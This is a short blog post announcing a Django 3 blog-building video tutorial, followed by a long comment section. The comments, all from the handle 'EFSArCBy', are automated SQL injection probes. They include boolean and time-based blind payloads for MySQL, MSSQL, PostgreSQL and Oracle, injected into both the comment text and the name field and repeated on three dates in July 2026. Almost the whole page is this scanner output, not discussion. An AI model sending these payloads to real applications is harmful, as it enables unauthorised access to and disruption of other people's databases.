In this video tutorial series I'm showing you how to create a blog using Django 3. I've split the series into multiple parts, and in the first part I'll cover installation and Django setup.
To make things as tidy as possible, we will be using a virtual environment.
We will also be starting the blog application and setting up the database models for categories and posts.
I hope this sounds exciting! If you have any questions, feel free to leave a reply :-)
Subscribe to my channel to get notified when the next part of this series is published!
EFSArCBy | Jul 02, 26 11:30
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
-1 OR 2+505-505-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:31
-1 OR 2+20-20-1=0+0+0+1
EFSArCBy | Jul 02, 26 11:31
-1' OR 2+13-13-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:31
-1' OR 2+694-694-1=0+0+0+1 or 'TOo0XqI4'='
EFSArCBy | Jul 02, 26 11:31
-1" OR 2+288-288-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 11:31
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 02, 26 11:31
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 02, 26 11:31
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 02, 26 11:31
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 02, 26 11:31
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:31
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:31
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:31
555gDF9HFSB'; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 11:31
555-1 OR 157=(SELECT 157 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:31
555-1) OR 760=(SELECT 760 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:31
555-1)) OR 140=(SELECT 140 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:31
5554TChPcj4' OR 36=(SELECT 36 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:31
555wqJCqdIs') OR 939=(SELECT 939 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:31
555QRqvvXbx')) OR 910=(SELECT 910 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 11:31
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 02, 26 11:31
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555'"
EFSArCBy | Jul 02, 26 11:31
@@A4NMD
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
EFSArCBy | Jul 02, 26 11:31
555
-1 OR 2+566-566-1=0+0+0+1 -- | Jul 02, 26 11:31
555
-1 OR 2+303-303-1=0+0+0+1 | Jul 02, 26 11:31
555
-1' OR 2+108-108-1=0+0+0+1 -- | Jul 02, 26 11:31
555
-1' OR 2+763-763-1=0+0+0+1 or 'CCuDMBtg'=' | Jul 02, 26 11:31
555
-1" OR 2+856-856-1=0+0+0+1 -- | Jul 02, 26 11:31
555
if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:31
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:31
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:32
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:32
555
EFSArCByyHt3hLk9'; waitfor delay '0:0:15' -- | Jul 02, 26 11:32
555
EFSArCByxdtHNHyX' OR 355=(SELECT 355 FROM PG_SLEEP(15))-- | Jul 02, 26 11:32
555
EFSArCByntdTGlXq') OR 713=(SELECT 713 FROM PG_SLEEP(15))-- | Jul 02, 26 11:32
555
EFSArCByBSJxidb0')) OR 53=(SELECT 53 FROM PG_SLEEP(15))-- | Jul 02, 26 11:32
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy'" | Jul 02, 26 11:32
555
@@9D2RF | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 02, 26 11:32
555
EFSArCBy | Jul 21, 26 12:17
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
-1 OR 2+123-123-1=0+0+0+1 --
EFSArCBy | Jul 21, 26 12:25
-1 OR 2+766-766-1=0+0+0+1
EFSArCBy | Jul 21, 26 12:25
-1' OR 2+639-639-1=0+0+0+1 --
EFSArCBy | Jul 21, 26 12:25
-1' OR 2+564-564-1=0+0+0+1 or 'bpfp3KgL'='
EFSArCBy | Jul 21, 26 12:25
-1" OR 2+664-664-1=0+0+0+1 --
EFSArCBy | Jul 21, 26 12:25
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 21, 26 12:25
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 21, 26 12:25
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 21, 26 12:25
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 21, 26 12:25
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 21, 26 12:25
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 21, 26 12:25
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 21, 26 12:25
555gk8iriGa'; waitfor delay '0:0:15' --
EFSArCBy | Jul 21, 26 12:25
555-1 OR 234=(SELECT 234 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:25
555-1) OR 664=(SELECT 664 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:25
555-1)) OR 791=(SELECT 791 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:25
555uup7EIDG' OR 219=(SELECT 219 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:25
555ZicNMuXU') OR 684=(SELECT 684 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:25
555Xl0alT62')) OR 158=(SELECT 158 FROM PG_SLEEP(15))--
EFSArCBy | Jul 21, 26 12:25
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 21, 26 12:25
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555'"
EFSArCBy | Jul 21, 26 12:25
@@F7omw
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
-1 OR 2+309-309-1=0+0+0+1 -- | Jul 21, 26 12:25
555
-1 OR 2+941-941-1=0+0+0+1 | Jul 21, 26 12:25
555
-1' OR 2+466-466-1=0+0+0+1 -- | Jul 21, 26 12:25
555
-1' OR 2+897-897-1=0+0+0+1 or '6lzeAfZG'=' | Jul 21, 26 12:25
555
-1" OR 2+549-549-1=0+0+0+1 -- | Jul 21, 26 12:25
555
if(now()=sysdate(),sleep(15),0) | Jul 21, 26 12:25
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 21, 26 12:25
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 21, 26 12:25
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 21, 26 12:25
555
EFSArCByx4kP3PYl'; waitfor delay '0:0:15' -- | Jul 21, 26 12:25
555
EFSArCBy5tI78qoF' OR 784=(SELECT 784 FROM PG_SLEEP(15))-- | Jul 21, 26 12:25
555
EFSArCByddvQdW03') OR 499=(SELECT 499 FROM PG_SLEEP(15))-- | Jul 21, 26 12:25
555
EFSArCBy7gd1yl6h')) OR 250=(SELECT 250 FROM PG_SLEEP(15))-- | Jul 21, 26 12:25
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy'" | Jul 21, 26 12:25
555
@@d8iZb | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 21, 26 12:25
555
EFSArCBy | Jul 23, 26 03:11
555
EFSArCBy | Jul 23, 26 03:18
555
EFSArCBy | Jul 23, 26 03:18
555
EFSArCBy | Jul 23, 26 03:18
-1 OR 2+269-269-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 03:18
-1 OR 2+231-231-1=0+0+0+1
EFSArCBy | Jul 23, 26 03:18
-1' OR 2+664-664-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 03:18
-1' OR 2+661-661-1=0+0+0+1 or 'M1PKkhag'='
EFSArCBy | Jul 23, 26 03:18
-1" OR 2+329-329-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 03:18
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 23, 26 03:18
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 23, 26 03:18
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 23, 26 03:18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 23, 26 03:18
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 03:18
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 03:18
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 03:18
555ukKxGD0L'; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 03:18
555-1 OR 976=(SELECT 976 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:18
555-1) OR 762=(SELECT 762 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:18
555-1)) OR 137=(SELECT 137 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:18
5553ip183JS' OR 395=(SELECT 395 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:18
5554GcdKTwo') OR 892=(SELECT 892 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:18
555q6lXgAH1')) OR 350=(SELECT 350 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 03:18
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 23, 26 03:18
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 23, 26 03:18
555
EFSArCBy | Jul 23, 26 03:18
555'"
EFSArCBy | Jul 23, 26 03:18
@@f2nmK
EFSArCBy | Jul 23, 26 03:18
555
EFSArCBy | Jul 23, 26 03:18
555
EFSArCBy | Jul 23, 26 03:18
555
EFSArCBy | Jul 23, 26 03:18
555
EFSArCBy | Jul 23, 26 03:18
555
EFSArCBy | Jul 23, 26 03:18
555
EFSArCBy | Jul 23, 26 03:18
555
EFSArCBy | Jul 23, 26 03:18
555
EFSArCBy | Jul 23, 26 03:18
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
-1 OR 2+674-674-1=0+0+0+1 -- | Jul 23, 26 03:19
555
-1 OR 2+298-298-1=0+0+0+1 | Jul 23, 26 03:19
555
-1' OR 2+786-786-1=0+0+0+1 -- | Jul 23, 26 03:19
555
-1' OR 2+33-33-1=0+0+0+1 or 'bTtWrLvr'=' | Jul 23, 26 03:19
555
-1" OR 2+835-835-1=0+0+0+1 -- | Jul 23, 26 03:19
555
if(now()=sysdate(),sleep(15),0) | Jul 23, 26 03:19
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 03:19
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 03:19
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 03:19
555
EFSArCByOgvjx5E9'; waitfor delay '0:0:15' -- | Jul 23, 26 03:19
555
EFSArCByGJyCFkG7' OR 531=(SELECT 531 FROM PG_SLEEP(15))-- | Jul 23, 26 03:19
555
EFSArCBya4pts065') OR 191=(SELECT 191 FROM PG_SLEEP(15))-- | Jul 23, 26 03:19
555
EFSArCByGfg5yhxB')) OR 119=(SELECT 119 FROM PG_SLEEP(15))-- | Jul 23, 26 03:19
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy'" | Jul 23, 26 03:19
555
@@m4YUN | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555
EFSArCBy | Jul 23, 26 03:19
555